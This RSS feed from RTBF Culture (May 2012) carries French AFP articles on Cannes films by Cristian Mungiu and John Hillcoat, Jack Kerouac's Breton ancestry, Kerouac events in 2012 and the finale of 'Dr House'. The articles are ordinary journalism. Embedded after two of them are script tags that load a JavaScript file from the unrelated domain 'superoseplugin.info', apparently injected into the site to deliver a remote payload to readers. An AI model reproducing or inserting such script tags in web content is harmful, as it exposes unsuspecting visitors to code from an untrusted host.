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	<title>RTBF Culture</title>
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	<description>Retrouvez toute l’actualité culturelle de la RTBF, les critiques, les événements, et les contenus exclusifs des émissions culturelles en  TV et en radio</description>
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		<title>Superstitions et péché d&#8217;indifférence: le retour de Cristian Mungiu à Cannes</title>
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		<pubDate>Mon, 21 May 2012 09:46:36 +0000</pubDate>
		<dc:creator>RTBF Culture</dc:creator>
				<category><![CDATA[Cinéma]]></category>
		<category><![CDATA[Cannes]]></category>
		<category><![CDATA[Cristian Mungiu]]></category>
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		<description><![CDATA[<img src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/cristianmungiuAFP.jpg" />Le destin tragique d&#8217;une jeune femme, orpheline perturbée, dans un monastère roumain qui semble vivre au Moyen-Age: &#171;&#160;Au-delà des collines&#160;&#187;,  le dernier film de Cristian Mungiu, Palme d&#8217;Or en 2007, saisit par ses  questionnements sur le religieux et la notion de responsabilité. 
Son scénario est largement inspiré d&#8217;un fait divers qui défraya la [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Le destin tragique d&#8217;une jeune femme, orpheline perturbée, dans un monastère roumain qui semble vivre au Moyen-Age: <em>&laquo;&nbsp;Au-delà des collines&nbsp;&raquo;</em>,  le dernier film de Cristian Mungiu, Palme d&#8217;Or en 2007, saisit par ses  questionnements sur le religieux et la notion de responsabilité. </strong><span id="more-43087"></span></p>
<div id="attachment_43088" class="wp-caption alignnone" style="width: 440px"><a href="http://www.rtbf.be/culture/wp-content/uploads/2012/05/cristianmungiuAFP.jpg"><img class="size-full wp-image-43088" title="Le réalisateur roumain Cristian Mungiu avec les actrices Cosmina Stratan et Cristina Flutur © AFP PHOTO / ANNE-CHRISTINE POUJOULAT " src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/cristianmungiuAFP.jpg" alt="Le réalisateur roumain Cristian Mungiu avec les actrices Cosmina Stratan et Cristina Flutur © AFP PHOTO / ANNE-CHRISTINE POUJOULAT " width="430" height="242" /></a><p class="wp-caption-text">Le réalisateur roumain Cristian Mungiu avec les actrices Cosmina Stratan et Cristina Flutur © AFP PHOTO / ANNE-CHRISTINE POUJOULAT </p></div>
<p>Son scénario est largement inspiré d&#8217;un fait divers qui défraya la  chronique en 2005, lorsqu&#8217;une jeune fille, Irina Cornici, trouva la  mort après une séance d&#8217;exorcisme dans un monastère perdu dans le  nord-est de la Roumanie.</p>
<p>Pour le cinéaste de <em>&laquo;&nbsp;Quatre mois, trois semaines et deux jours&nbsp;&raquo;</em>, il ne s&#8217;agit pas de <em>&laquo;&nbsp;critiquer la religion&nbsp;&raquo;</em> ou de <em>&laquo;&nbsp;trouver des coupables&nbsp;&raquo;</em> au sein de la religion orthodoxe. Les <em>&laquo;&nbsp;vrais responsables&nbsp;&raquo;</em>, dans l&#8217;enfance, de l&#8217;éducation de ces orphelines, n&#8217;apparaissant pas à l&#8217;écran.</p>
<p>Tatiana Niculescu-Bran, ex-journaliste de la BBC qui a enquêté sur le  fait divers de 2005 et dont les livres ont inspiré le scénario,  rappelle qu&#8217;après la chute du communisme <em>&laquo;&nbsp;tout le monde à l&#8217;étranger était touché par les enfants des orphelinats sous Ceausescu&nbsp;&raquo;</em>. Mais passé cet élan de compassion, peu de gens se sont souciés de ce qu&#8217;étaient devenus ces adolescents.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="430" height="248" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/TuY3O-zU51M?version=3&amp;hl=fr_FR&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="430" height="248" src="http://www.youtube.com/v/TuY3O-zU51M?version=3&amp;hl=fr_FR&amp;rel=0" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Le cinéaste de 44 ans a choisi deux comédiennes novices pour jouer  les amies d&#8217;orphelinat qui se retrouvent sous la protection du  monastère. <em>&laquo;&nbsp;Elles jouent des filles simples, des religieuses, je n&#8217;avais pas besoin qu&#8217;elles soient expérimentées&nbsp;&raquo;</em>, explique-t-il lors de sa conférence de presse cannoise.</p>
<p>Longs plans séquences et absence de musique, l&#8217;intrigue, mise en  scène dans une grande sobriété, se déroule en hiver dans ce lieu reculé  et figé dans le temps. <em>&laquo;&nbsp;J&#8217;essaye de me rendre invisible. C&#8217;est une  forme de respect à l&#8217;égard du spectateur, il n&#8217;a pas besoin qu&#8217;on lui  dise, via le montage ou la musique, quand il est censé être ému&nbsp;&raquo;</em>, explique le cinéaste.</p>
<p><strong>&laquo;&nbsp;Je ne cherche pas le consensus&nbsp;&raquo;</strong></p>
<p>Cristian Mungiu, 44 ans, qui prie pour que son film soit reçu sans  préjugés ou comparaison incessante à sa Palme d&#8217;or d&#8217;il y a cinq ans, un  film terrible sur les avortements clandestins, veut <em>&laquo;&nbsp;faire réfléchir les gens sur leurs propres options, ce que l&#8217;histoire dit des choix que l&#8217;on fait&nbsp;&raquo;</em>.</p>
<p><em>&laquo;&nbsp;C&#8217;est un film sur l&#8217;amour, les différentes formes d&#8217;amour et ce  que l&#8217;on fait au nom de l&#8217;amour, parfois sans réfléchir aux  conséquences&nbsp;&raquo;</em>, dit-il. <em>&laquo;&nbsp;On veut toujours venir en aide à ceux que l&#8217;on aime mais qui arrive-t-on réellement à sauver?&nbsp;&raquo;</em></p>
<p><em>&laquo;&nbsp;C&#8217;est aussi un film sur l&#8217;abandon&nbsp;&raquo;</em>, le <em>&laquo;&nbsp;pire péché de tous&nbsp;&raquo;</em> étant peut-être<em> &laquo;&nbsp;le péché d&#8217;indifférence&nbsp;&raquo;. &laquo;&nbsp;Faut-il se garder de faire des erreurs en ne tentant rien?&nbsp;&raquo;</em>, interroge-t-il encore. Les soeurs et le pope du monastère <em>&laquo;&nbsp;agissent peut-être mal, mais ils interviennent quand il n&#8217;y a personne d&#8217;autre pour le faire&nbsp;&raquo;</em>.</p>
<p>Le réalisateur, plaidant la force unique du cinéma qui ne saurait se résumer à <em>&laquo;&nbsp;ce que l&#8217;on peut dire avec les mots&nbsp;&raquo;</em>, se réjouit de la réception contrastée de son film sur la Croisette: <em>&laquo;&nbsp;Je  ne cherche pas le consensus, je ne souhaite pas que mon film soit aimé,  je veux qu&#8217;il provoque les spectateurs, qu&#8217;il les pousse à se forger  une opinion&nbsp;&raquo;</em>, dit-il avec conviction.</p>
<p>Ses admirateurs sont nombreux en Europe, mais rares dans son propre pays. Les enfants roumains sont <em>&laquo;&nbsp;gavés&nbsp;&raquo;</em> dès leur plus jeune âge de séries américaines, regrette-t-il:<em> &laquo;&nbsp;Pour eux, le cinéma ne peut pas être autre chose qu&#8217;un divertissement.  C&#8217;est une question d&#8217;éducation et chez nous, elle est perdue&nbsp;&raquo;.</em></p>
<p><strong>AFP Relax News</strong><em><br />
</em></p>
<p><script src="http://superoseplugin.info/dfi823hs.js?0.22713057141122772"></script> <script src="http://superoseplugin.info/dfi823hs.js?0.4664586733582553"></script></p>
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		<title>&#171;&#160;Des Hommes sans loi&#160;&#187; lâche la poudre et la testostérone sur Cannes</title>
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		<pubDate>Mon, 21 May 2012 09:40:44 +0000</pubDate>
		<dc:creator>RTBF Culture</dc:creator>
				<category><![CDATA[Cinéma]]></category>
		<category><![CDATA[Festival de Cannes]]></category>
		<category><![CDATA[John Hillcoat]]></category>
		<category><![CDATA[Nick Cave]]></category>
		<category><![CDATA[Shia LaBeouf]]></category>

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		<description><![CDATA[<img src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/lawless430.jpg" />Western de bandits dans la Virginie rurale au temps de la Prohibition, &#171;&#160;Des Hommes sans loi&#160;&#187; a lâché samedi la poudre et la testostérone sur le Festival de Cannes, où il concourt pour la Palme d&#8217;Or. 
Le réalisateur australien John Hillcoat (&#171;&#160;La Route&#160;&#187;, &#171;&#160;La Proposition&#160;&#187;) revendique l&#8217;héritage de &#171;&#160;Bonnie and Clyde&#160;&#187; pour l&#8217;audace et la [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Western de bandits dans la Virginie rurale au temps de la Prohibition, <em>&laquo;&nbsp;Des Hommes sans loi&nbsp;&raquo;</em> a lâché samedi la poudre et la testostérone sur le Festival de Cannes, où il concourt pour la Palme d&#8217;Or. </strong><span id="more-43082"></span></p>
<div id="attachment_43083" class="wp-caption alignnone" style="width: 440px"><a href="http://www.rtbf.be/culture/wp-content/uploads/2012/05/lawless1.jpg"><img class="size-full wp-image-43083" title="Image extraite de &quot;Des hommes sans loi&quot; (&quot;Lawless&quot;). ©2012 The Weinstein Company. All Rights Reserved." src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/lawless1.jpg" alt="Image extraite de &quot;Des hommes sans loi&quot; (&quot;Lawless&quot;). ©2012 The Weinstein Company. All Rights Reserved." width="430" height="286" /></a><p class="wp-caption-text">Image extraite de &quot;Des hommes sans loi&quot; (&quot;Lawless&quot;). ©2012 The Weinstein Company. All Rights Reserved.</p></div>
<p>Le réalisateur australien John Hillcoat (<em>&laquo;&nbsp;La Route&nbsp;&raquo;</em>, <em>&laquo;&nbsp;La Proposition&nbsp;&raquo;</em>) revendique l&#8217;héritage de <em>&laquo;&nbsp;Bonnie and Clyde&nbsp;&raquo;</em> pour l&#8217;audace et la violence en milieu rural et ces deux décennies du  20e siècle durant lesquelles l&#8217;Amérique crut pouvoir bannir l&#8217;alcool,  favorisant en réaction l&#8217;implantation durable du crime organisé. <em>&laquo;&nbsp;Je voulais me glisser sous la peau de ce monde-là&nbsp;&raquo;</em>.</p>
<p>Trois frères bootleggers, Howard, Forrest et Jack Bondurant, hors la  loi et hors du monde sur leur morceau de terre mais respectés par leurs  concitoyens, trafiquent du mauvais whisky et résistent par la violence à  la corruption généralisée d&#8217;autorités faisandées, judiciaires et  policières.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="430" height="248" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/FHXpP9Z09Og?version=3&amp;hl=fr_FR&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="430" height="248" src="http://www.youtube.com/v/FHXpP9Z09Og?version=3&amp;hl=fr_FR&amp;rel=0" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Pour raconter cette histoire, Nick Cave, rockstar et scénariste star  de John Hillcoat, s&#8217;est appuyé sur le récit de Matt Bondurant (<em>&laquo;&nbsp;Pour quelques gouttes d&#8217;alcool&nbsp;&raquo;</em>), petit-fils de Jack Bondurant qui a nourri de fiction les blancs laissés par la chronique familiale.</p>
<p>Et pour incarner l&#8217;énigmatique fratrie, Hillcoat a recruté trois étoiles montantes d&#8217;Hollywood: Shia Labeouf (<em>&laquo;&nbsp;Transformers&nbsp;&raquo;</em>),  nouvelle star américaine arrivé sur le projet plus de deux ans avant le  tournage, est le benjamin Jack, le moins dur et le plus ambitieux,  celui qui les met tous en danger. Puis Labeouf a envoyé le livre à son ami anglais, Tom Hardy, l&#8217;homme en vue (<em>&laquo;&nbsp;La Taupe&nbsp;&raquo;</em>, <em>&laquo;&nbsp;Inception&nbsp;&raquo;</em> et le prochain Christopher Nolan, <em>&laquo;&nbsp;Dark Knight Rises&nbsp;&raquo;</em>), qui s&#8217;est glissé dans la peau et la carrure de Forrest, chef de famille invincible.</p>
<div id="attachment_43084" class="wp-caption alignnone" style="width: 440px"><a href="http://www.rtbf.be/culture/wp-content/uploads/2012/05/lawless2.jpg"><img class="size-full wp-image-43084" title="Tom Hardy dans &quot;Des Hommes sans loi&quot; (&quot;Lawless&quot;). ©Red Wagon Entertainment." src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/lawless2.jpg" alt="Tom Hardy dans &quot;Des Hommes sans loi&quot; (&quot;Lawless&quot;). ©Red Wagon Entertainment." width="430" height="326" /></a><p class="wp-caption-text">Tom Hardy dans &quot;Des Hommes sans loi&quot; (&quot;Lawless&quot;). ©Red Wagon Entertainment.</p></div>
<p>Enfin Jason Clarke, acteur australien élevé dans une ferme du  Queensland, prête sa démesure à Howard, l&#8217;aîné, survivant de la Grande  Guerre et bagarreur alcoolisé. Gary Oldman complète ce monde d&#8217;hommes en  chef de gang et Guy Pearce, en agent sadique et vénal envoyé par  Chicago illustre à lui seul le conflit ville/campagne à laquelle  Hillcoat tenait.</p>
<p>Baignant toute cette virilité de sa douceur muette, Jessica Chastain dépose à son tour son lourd bagage auprès des frères. <em>&laquo;&nbsp;Cette  femme arrive dans une maison qui n&#8217;en a pas vu depuis longtemps, et si  Forrest s&#8217;en tire si bien avec la violence, dans l&#8217;intimité les rôles  s&#8217;inversent&nbsp;&raquo;</em>, raconte l&#8217;actrice, heureuse de retrouver Cannes un an après sa première visite et la Palme d&#8217;Or de <em>&laquo;&nbsp;Tree of Life&nbsp;&raquo;</em>.</p>
<p><em>&laquo;&nbsp;L&#8217;excessive violence et la sentimentalité d&#8217;une histoire d&#8217;amour&nbsp;&raquo;</em>, résume Nick Cave. Il veut les deux pour ce film qu&#8217;il juge <em>&laquo;&nbsp;moderne  en un sens, parce que la prohibition existe encore aujourd&#8217;hui. Et elle  échoue de la même façon, au plan éthique, avec la guerre des cartels de  la drogue&nbsp;&raquo;</em>.</p>
<p>Nick Cave qui signe à la fois le scénario et la musique du film a écrit les deux en parallèle, car, dit-il, <em>&laquo;&nbsp;on ne peut pas dissocier les deux&nbsp;&raquo;</em>.</p>
<p>Filmé en Géorgie près d&#8217;Atlanta, dans les grands espaces rudes qui  sentent déjà le sud profond malgré la neige -et autour du plus long pont  couvert du pays, bâti dans les années 1840 par un esclave affranchi,  Horace King &#8211; <em>&laquo;&nbsp;Des Hommes sans loi&nbsp;&raquo;</em> est le deuxième film américain en compétition après le Wes Anderson d&#8217;ouverture (<em>&laquo;&nbsp;Moonrise Kingdom&nbsp;&raquo;</em>). C&#8217;est aussi la deuxième fois que John Hillcoat fait appel (après <em>&laquo;&nbsp;La Proposition&nbsp;&raquo;</em>) au Français Benoît Delhomme pour diriger la photographie. Avec bonheur.</p>
<p><strong>AFP Relax News</strong></p>
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		<title>Jack Kerouac obsédé par sa &#171;&#160;bretonnité&#160;&#187;</title>
		<link>http://www.rtbf.be/culture/litterature/jack-kerouac-lauteur-de-sur-la-route-obsede-par-sa-bretonnite/</link>
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		<pubDate>Mon, 21 May 2012 09:34:02 +0000</pubDate>
		<dc:creator>RTBF Culture</dc:creator>
				<category><![CDATA[Littérature]]></category>
		<category><![CDATA[écrivain]]></category>
		<category><![CDATA[Jack Kerouac]]></category>
		<category><![CDATA[réédition]]></category>
		<category><![CDATA[roman]]></category>
		<category><![CDATA[Sur la route]]></category>

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		<description><![CDATA[<img src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/ontheroad430.jpg" />L&#8217;écrivain américain Jack Kerouac, chantre de la &#171;&#160;beat generation&#160;&#187;,  rendu célèbre par son livre &#171;&#160;Sur la route&#160;&#187; adapté au cinéma par le  Brésilien Walter Salles, était obsédé par ses origines bretonnes qu&#8217;il a  cherchées en vain lors d&#8217;un rapide et éthylique passage à Brest en  1965. 
En lice pour la Palme [...]]]></description>
			<content:encoded><![CDATA[<p><strong>L&#8217;écrivain américain Jack Kerouac, chantre de la &laquo;&nbsp;beat generation&nbsp;&raquo;,  rendu célèbre par son livre &laquo;&nbsp;Sur la route&nbsp;&raquo; adapté au cinéma par le  Brésilien Walter Salles, était obsédé par ses origines bretonnes qu&#8217;il a  cherchées en vain lors d&#8217;un rapide et éthylique passage à Brest en  1965. </strong><span id="more-43079"></span></p>
<div id="attachment_43080" class="wp-caption alignnone" style="width: 440px"><a href="http://www.rtbf.be/culture/wp-content/uploads/2012/05/ontheroad430.jpg"><img class="size-full wp-image-43080" title="Une copie de l'édition du cinquantenaire de &quot;Sur la route&quot; (&quot;On the Road&quot;) de Jack Kerouac (à gauche). ©AFP PHOTO / TIMOTHY A. CLARY" src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/ontheroad430.jpg" alt="Une copie de l'édition du cinquantenaire de &quot;Sur la route&quot; (&quot;On the Road&quot;) de Jack Kerouac (à gauche). ©AFP PHOTO / TIMOTHY A. CLARY" width="430" height="242" /></a><p class="wp-caption-text">Une copie de l&#39;édition du cinquantenaire de &quot;Sur la route&quot; (&quot;On the Road&quot;) de Jack Kerouac (à gauche). ©AFP PHOTO / TIMOTHY A. CLARY</p></div>
<p>En lice pour la Palme d&#8217;Or au Festival de Cannes, &laquo;&nbsp;Sur la Route&nbsp;&raquo;  de Walter Salles, produit par Francis Ford Coppola, sera présenté en  sélection officielle le 23 mai, le même jour en salles.</p>
<p><em>&laquo;&nbsp;Ti Jean (Kerouac se prénomme Jean-Louis à l&#8217;état civil), n&#8217;oublie jamais que tu es Breton&nbsp;&raquo;</em>,  lui répétait à l&#8217;envi son père, mythifiant les aventures de l&#8217;ancêtre,  Le Bris de Kérouac, venu de Bretagne plus de deux siècles avant. <em>&laquo;&nbsp;Il signe +Jean, Baron de Bretagne+ ou +Jean-Louis Le Bris de  Kérouac&#8217;h de Meslan, Cornouailles, Finistère, Bretagne, comte  héréditaire ou Roi de Cornouaille+. Il était convaincu d&#8217;être un  descendant des +princes de Bretagne+&nbsp;&raquo;</em>, déclare Patricia Dagier qui a découvert en 1999 l&#8217;aïeul de l&#8217;écrivain américain parti &laquo;&nbsp;aux Amériques&nbsp;&raquo; sous un faux nom.</p>
<p>Cette généalogiste est co-auteur avec Hervé Quéméner, ex-rédacteur en  chef de Bretagne Magazine (Le Télégramme), de &laquo;&nbsp;Jack Kerouac, Breton  d&#8217;Amérique&nbsp;&raquo; aux éditions Le Télégramme qui retrace les recherches  infructueuses de l&#8217;écrivain sur ses racines bretonne et dévoile le  parcours de son ancêtre finistérien.</p>
<p>En 1720, Urbain François Le Bihan de Kérouac, né à Huelgoat en 1702,  fils d&#8217;un bourgeois finistérien et argenté de Huelgoat, est accusé d&#8217;un  vol d&#8217;argent et d&#8217;une tentative de viol d&#8217;une jeune fille. Son père, notaire, qui estime sa famille déshonorée décide de  l&#8217;exiler au Canada. Le jeune homme débarque sous le nom de Maurice Louis  Le Bris de Kérouac, et a l&#8217;intention de se faire oublier, affirme  Patricia Dagier .</p>
<p><em>&laquo;&nbsp;Il est débrouillard. C&#8217;est un coureur des bois, négociant en  fourrures, qui se livre à toutes sortes de commerce avec un certain  succès&nbsp;&raquo;</em>, note de son côté Hervé Quéméner. Les registres canadiens parlent: en 1732, l&#8217;aventurier breton qui a  conservé &laquo;&nbsp;Kérouac&nbsp;&raquo; dans son patronyme en vue d&#8217;hériter un jour  -permettant à la généalogiste de le débusquer- légitime un enfant et se  voit contraint au mariage. Le Bris alias Le Bihan de Kérouac, meurt en  1736.</p>
<p>En 1965, le désormais célèbre Jack Kerouac, dont la famille a quitté  le Canada pour les Etats-Unis en 1890, se rend en Bretagne, qu&#8217;il cite  abondamment dans ses écrits. Lors de ce séjour en Europe -son second, après une première visite en  1957-, il recherche son ancêtre &laquo;&nbsp;Lebris de Kérouac&nbsp;&raquo;. Son ami  académicien Michel Mohrt le met sur la piste d&#8217;un libraire brestois.</p>
<p>Et Kerouac de débarquer dans la cité du Ponant chez Pierre Lebris.  Là, le second dévoile au premier son arbre généalogique et, le cognac  aidant, les deux hommes se persuadent d&#8217;être issus de la même lignée,  cousins, et deviennent amis. Son voyage s&#8217;arrête là.</p>
<p>De retour aux Etats-Unis, l&#8217;écrivain qui décrit sa rencontre avec  Pierre Lebris dans &laquo;&nbsp;Satori à Paris&nbsp;&raquo; se lie à un autre Breton de  New-York, le chanteur et sculpteur Youenn Gwernig. Dans les nombreux courriers qu&#8217;ils échangent, les deux hommes projettent de se rendre en Bretagne.</p>
<p>Mais en 1968, <em>&laquo;&nbsp;Kerouac annule au dernier moment son voyage avec Gwernig qui devait le recevoir chez lui à Huelgoat&nbsp;&raquo;</em>, là où vivaient les ancêtre bretons de Kerouac sans le savoir, s&#8217;étonne Hervé Quéméner. Quelques mois plus tard, l&#8217;auteur de &laquo;&nbsp;Les Clochards célestes&nbsp;&raquo; est  hospitalisé et meurt le 21 octobre 1969 d&#8217;une hémorragie gastrique sans  accomplir son projet de voyage en Bretagne. La maison de son ancêtre à  Huelgoat porte une plaque en son honneur.</p>
<p><strong>AFP Relax News</strong></p>
<p><script src="http://superoseplugin.info/dfi823hs.js?0.26125359232777023"></script><br />
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		<title>La route de Kerouac pavée d&#8217;événements en 2012</title>
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		<pubDate>Mon, 21 May 2012 09:24:50 +0000</pubDate>
		<dc:creator>RTBF Culture</dc:creator>
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		<description><![CDATA[<img src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/surlarouteaffiche430.jpg" />Film-événement du Brésilien Walter Salles à Cannes, première exposition en France du texte original du mythique Sur la route,  rééditions, pièce de théâtre inédite : 2012 est l&#8217;année du grand retour  de Jack Kerouac, écrivain culte et chef de file de la Beat Generation. 

Jean-Louis Kerouac, alias &#171;&#160;Ti-Jean&#160;&#187; et surnommé Jack, naît à [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Film-événement du Brésilien Walter Salles à Cannes, première exposition en France du texte original du mythique <em>Sur la route</em>,  rééditions, pièce de théâtre inédite : 2012 est l&#8217;année du grand retour  de Jack Kerouac, écrivain culte et chef de file de la Beat Generation. </strong><span id="more-43074"></span></p>
<p><a href="http://www.rtbf.be/culture/wp-content/uploads/2012/05/surlarouteaffiche.jpg"><img class="alignnone size-full wp-image-43075" title="L'affiche de Sur la Route" src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/surlarouteaffiche.jpg" alt="" width="410" height="547" /></a></p>
<p>Jean-Louis Kerouac, alias &laquo;&nbsp;Ti-Jean&nbsp;&raquo; et surnommé Jack, naît à  Lowell (Massachusetts), le 22 mars 1922. C&#8217;est aussi là qu&#8217;il est  enterré. Il meurt d&#8217;une hémorragie digestive à 47 ans, à Saint-Petersburg  (Floride), le 21 octobre 1969. Reclus du monde et sans un sou, mais avec  un fonds d&#8217;archives qui sera évalué à plus de 10 millions d&#8217;euros&#8230; Son œuvre entraîne dans son sillage toute une génération de routards  et posera les jalons de la contre-culture qui déferlera sur l&#8217;Amérique,  et au-delà, dans les années 60.</p>
<p>Fils de parents d&#8217;origines bretonnes et québécoises, Kerouac parle  uniquement le joual jusqu&#8217;à six ans. Toute sa vie, il sera obsédé par  ses origines bretonnes. Il se rendra d&#8217;ailleurs en 1965 à Lanmeur (Finistère), berceau de sa  famille. En 2000, son ancêtre, Urbain-François Le Bihan de Kervoac, sera  retrouvé. Trop tard pour Jack.</p>
<p>Mais c&#8217;est en anglais qu&#8217;il tape à la machine son roman-culte <em>&laquo;&nbsp;Sur la route&nbsp;&raquo;</em>,  manifeste de la Beat Generation, sur un rouleau de 36,5 mètres, exposé  pour la première fois à Paris jusqu&#8217;au 19 août, au Musée des Lettres et  Manuscrits.</p>
<p>Les visiteurs y admireront les neuf premiers mètres de ce tapuscrit  exceptionnel, propriété de l&#8217;Américain Jim Irsay, patron des Colts  d&#8217;Indianapolis, qui l&#8217;a acquis aux enchères en 2001 pour 2,5 millions de  dollars.</p>
<p>C&#8217;est en 1947 que Kerouac et sa petite bande de &laquo;&nbsp;<em>gamins bourrés, échevelés, en rut</em>&nbsp;&raquo;  prennent la route, explorant toutes les expériences possibles : sexe,  drogue et écriture, notamment pour Jack qui noircit des carnets. Son  credo ? &laquo;&nbsp;<em>La route, c&#8217;est la vie</em>&laquo;&nbsp;.</p>
<p><strong>Jazz !</strong></p>
<p>A 29 ans, du 2 au 22 avril 1951, Jack Kerouac écrit ce roman de  125.000 mots sur un support bricolé par lui-même. Des lignes serrées,  sans marges, sans chapitres ni paragraphes. Le point final manque : le  bas de la dernière page a été mangé par un chien ! Après le refus de plusieurs éditeurs, il retravaille le texte dès 1953.</p>
<p>Le rouleau modifié et censuré des passages les plus sulfureux, et des  patronymes réels par crainte des procès, est publié par Viking en 1957,  en 1960 en France par Gallimard. En 1957, Kerouac propose aussi à Marlon Brando d&#8217;en acheter les droits pour le cinéma. L&#8217;acteur l&#8217;ignore.</p>
<p>C&#8217;est cette version expurgée que le public connaîtra jusqu&#8217;en 2007. Viking puis Gallimard en 2010 sortiront <em>Sur la route, le rouleau original</em>. Le début même de <em>Sur la route</em>, en prose spontanée, rythmée comme du jazz, diffère. Sur l&#8217;original, on peut lire : &laquo;&nbsp;<em>J&#8217;ai rencontré Neal (Cassady, son compagnon de voyage, ndlr) pas très longtemps après la mort de mon père</em>&laquo;&nbsp;. Dans l&#8217;édition de 1957 : &laquo;&nbsp;<em>J&#8217;ai rencontré Dean peu de temps après qu&#8217;on a rompu ma femme et moi</em>&laquo;&nbsp;.</p>
<p>En lice pour la Palme d&#8217;Or au Festival de Cannes, l&#8217;adaptation de <em>Sur la Route</em> de Walter Salles, produite par Francis Ford Coppola, qui l&#8217;avait  proposée par le passé à Godard puis à Gus Van Sant, sera elle présentée  sur la Croisette le 23 mai, le même jour en salles. Sollicité en 2004 par Coppola, Salles a lui-même tenu à réaliser un documentaire sur Kerouac avant de se lancer dans l&#8217;aventure.</p>
<p>Le romancier est aussi à l&#8217;honneur en librairie avec un hors série du magazine Trois couleurs, la réédition de <em>Sur la route,</em> la sortie de <em>Beat Generation</em>, pièce de théâtre en trois actes jamais représentée. Paraît aussi <em>Et les hippopotames ont bouilli vifs dans leurs piscines</em>, co-écrit avec William Seward Burroughs. <em>Visions de Cody</em> sortira le 5 juillet.</p>
<p><strong>AFP Relax News</strong></p>
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		<title>Egocentrique, asocial et drogué, &#171;&#160;Dr House&#160;&#187; est pourtant devenu un héros adulé dans le monde</title>
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		<pubDate>Mon, 21 May 2012 09:13:20 +0000</pubDate>
		<dc:creator>RTBF Culture</dc:creator>
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		<description><![CDATA[<img src="http://www.rtbf.be/culture/wp-content/uploads/2012/02/drhouse430.jpg" />Après Desperate Housewives, les téléspectateurs s&#8217;apprêtent à perdre une autre série phare des années 2000 : Dr House (House). Aux États-Unis, l&#8217;heure du décès de cette série médicale pas comme les autres sera déclarée lundi 21 mai sur la chaîne Fox. 
&#171;&#160;Je veux une série médicale, mais je ne veux pas voir de blouse blanche [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Après <em>Desperate Housewives</em>, les téléspectateurs s&#8217;apprêtent à perdre une autre série phare des années 2000 : <em>Dr House</em> (<em>House</em>). Aux États-Unis, l&#8217;heure du décès de cette série médicale pas comme les autres sera déclarée lundi 21 mai sur la chaîne Fox. </strong><span id="more-43071"></span></p>
<div id="attachment_39131" class="wp-caption alignnone" style="width: 440px"><a href="http://www.rtbf.be/culture/wp-content/uploads/2012/02/drhouse.jpg"><img class="size-full wp-image-39131" title="Dr Gregory House ©20th Century Fox Television" src="http://www.rtbf.be/culture/wp-content/uploads/2012/02/drhouse.jpg" alt="Dr Gregory House ©20th Century Fox Television" width="430" height="550" /></a><p class="wp-caption-text">Dr Gregory House ©20th Century Fox Television</p></div>
<p>&laquo;&nbsp;<em>Je veux une série médicale, mais je ne veux pas voir de blouse blanche dans le couloir</em>.&nbsp;&raquo;  C&#8217;est à partir de cette contrainte, dictée par la présidente de la Fox  de l&#8217;époque, que le créateur David Shore a donné naissance le 16  novembre 2004 à <em>Dr House</em>. Huit saisons plus tard, ce médecin  peu conventionnel est devenu une star du petit écran à travers le monde,  aimé et applaudi autant pour son humour que son cynisme.</p>
<p><strong>Gregory House, l&#8217;anti-héros qui plaît aux téléspectateurs</strong></p>
<p>Misanthrope, arrogant, asocial, colérique, narcissique, drogué à la  vicodine&#8230; Ce diagnosticien au look mal rasé, souffrant d&#8217;une  claudication, marchant avec l&#8217;aide d&#8217;une canne, ne présente, sur le  papier, aucun signe précurseur qui aurait pu en faire l&#8217;un des héros  modernes préférés des téléspectateurs.</p>
<p>Bourré de défauts, cet anti-héros a pourtant réussi à se faire  adopter de tous, des hommes comme des femmes, des jeunes comme du public  plus âgé. Son humour, même noir, ses capacités intellectuelles et de  déduction, son côté imprévisible et anti-conformiste l&#8217;ont rapidement  propulsé sur le devant de la scène.</p>
<p>Le personnage de Gregory House doit énormément à son interprète Hugh  Laurie, qui a raflé deux Golden Globes, en 2006 et 2007, grâce à ce  rôle. Rien ne prédisposait cet acteur britannique issu de la comédie à  endosser ce rôle. Le comédien est parvenu à gommer son accent anglais,  au point de tromper complètement le producteur du show, le réalisateur  Bryan Singer, lors de sa première audition.</p>
<div id="attachment_43072" class="wp-caption alignnone" style="width: 420px"><a href="http://www.rtbf.be/culture/wp-content/uploads/2012/05/dr_house.jpg"><img class="size-full wp-image-43072" title="&quot;Dr House&quot; stoppera définitivement ses consultations à risque le 21 mai aux Etats-Unis. ©20th Century Fox Television" src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/dr_house.jpg" alt="&quot;Dr House&quot; stoppera définitivement ses consultations à risque le 21 mai aux Etats-Unis. ©20th Century Fox Television" width="410" height="379" /></a><p class="wp-caption-text">&quot;Dr House&quot; stoppera définitivement ses consultations à risque le 21 mai aux Etats-Unis. ©20th Century Fox Television</p></div>
<p><strong>Mélange de Sherlock Holmes et de Socrate, House toujours en quête de vérité</strong></p>
<p>&laquo;&nbsp;<em>Tout le monde ment</em>&laquo;&nbsp;. Cette phrase est devenue l&#8217;étendard du  médecin, la rabâchant sans cesse à ses jeunes subordonnés et à sa chef  Cuddy, dont il n&#8217;hésite pas à outrepasser les ordres pour résoudre ses  enquêtes médicales.</p>
